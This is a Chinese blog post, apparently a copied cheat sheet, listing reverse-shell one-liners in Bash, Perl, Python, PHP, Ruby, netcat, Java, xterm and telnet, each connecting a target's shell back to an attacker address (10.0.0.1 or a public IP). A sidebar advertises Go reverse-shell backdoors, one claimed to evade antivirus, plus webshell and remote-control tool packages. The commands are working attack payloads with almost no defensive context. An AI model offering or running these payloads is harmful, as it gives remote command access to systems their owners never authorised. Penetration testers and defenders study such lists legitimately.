`
to8to-bruce
  • 浏览: 6778 次
社区版块
存档分类
最新评论

各种语言反弹shell

 
阅读更多
Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1


PERL
Here’s a shorter, feature-free version of the perl-reverse-shell:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'



Python
This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


PHP
This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'


Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
nc -e /bin/sh 10.0.0.1 1234


没有-e
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f


Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()




xterm
One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):
Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip




telnet
telnet 173.214.173.151 8080 | /bin/bash | telnet 173.214.173.151 8888
分享到:
评论

相关推荐

    go语言邮件反弹shell(windows+linux版,windows版用go1.7编译运行不报毒

    go语言邮件反弹shell(windows+linux版,windows版用go1.7编译运行不报毒 此版本为后续改进debug版本,windows下可以编译去掉显示窗口 添加linux版本

    hershell - Go语言反弹Shell后门.zip

    hershell - Go语言反弹Shell后门.zip

    lonely-shell - Go语言实现的反弹Shell后门.zip

    lonely-shell - Go语言实现的反弹Shell后门.zip

    python模拟菜刀反弹shell绕过限制【推荐】

    有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell 主要用到python os库和sokect库 这里的服务端在目标机上运行 from socket import * from os import * s=socket(AF_INET...

    Platypus:用go编写的现代多重反向shell会话管理器

    反向外壳程序即服务(以多种语言弹出反向外壳程序,而无需记住空闲命令) 带进度条的下载/上传文件 全交互式外壳 在反向Shell中优雅地使用vim 在反向外壳中使用CTRL + C和CTRL + Z 自动启动服务器 从配置文件初始化 ...

    AWD比赛各类必备脚本

    包括ip生成、kill、monitor、waf、不死马、反弹shell、后台flag读取、批量修改ssh、文件包含、文件上传、预留后门利用等AWD比赛常用的各种必备脚本。

    BlueShell:红蓝对抗跨平台远控工具

    蓝壳 BlueShell是一个Go语言编写的持续远程控制工具,拿下靶机后...交互式Shell反弹,Linux支持Tab补全,VIM,Ctrl + C等交互操作,Windows只支持普通反弹Shell 袜子5代理反弹 文件上传,下载 TLS通信加密 项目地址:

    vc++ 开发实例源码包

    IOCP反弹远控客户端模型,外加上线服务端,全部代码注释! 如题。这个是IOCP远程控制软件的模型,服务端运行后会自动发送本机信息到客户端,客户端采用IOCP重叠机制。 IOCP封装类(DLL)发布 主要是CIocpSrv"伪类",...

    vc++ 应用源码包_6

    IOCP反弹远控客户端模型,外加上线服务端,全部代码注释! 如题。这个是IOCP远程控制软件的模型,服务端运行后会自动发送本机信息到客户端,客户端采用IOCP重叠机制。 IOCP封装类(DLL)发布 主要是CIocpSrv"伪类",...

    vc++ 应用源码包_5

    IOCP反弹远控客户端模型,外加上线服务端,全部代码注释! 如题。这个是IOCP远程控制软件的模型,服务端运行后会自动发送本机信息到客户端,客户端采用IOCP重叠机制。 IOCP封装类(DLL)发布 主要是CIocpSrv"伪类",...

    vc++ 应用源码包_3

    IOCP反弹远控客户端模型,外加上线服务端,全部代码注释! 如题。这个是IOCP远程控制软件的模型,服务端运行后会自动发送本机信息到客户端,客户端采用IOCP重叠机制。 IOCP封装类(DLL)发布 主要是CIocpSrv"伪类",...

    vc++ 应用源码包_1

    IOCP反弹远控客户端模型,外加上线服务端,全部代码注释! 如题。这个是IOCP远程控制软件的模型,服务端运行后会自动发送本机信息到客户端,客户端采用IOCP重叠机制。 IOCP封装类(DLL)发布 主要是CIocpSrv"伪类",...

    vc++ 应用源码包_2

    IOCP反弹远控客户端模型,外加上线服务端,全部代码注释! 如题。这个是IOCP远程控制软件的模型,服务端运行后会自动发送本机信息到客户端,客户端采用IOCP重叠机制。 IOCP封装类(DLL)发布 主要是CIocpSrv"伪类",...

Global site tag (gtag.js) - Google Analytics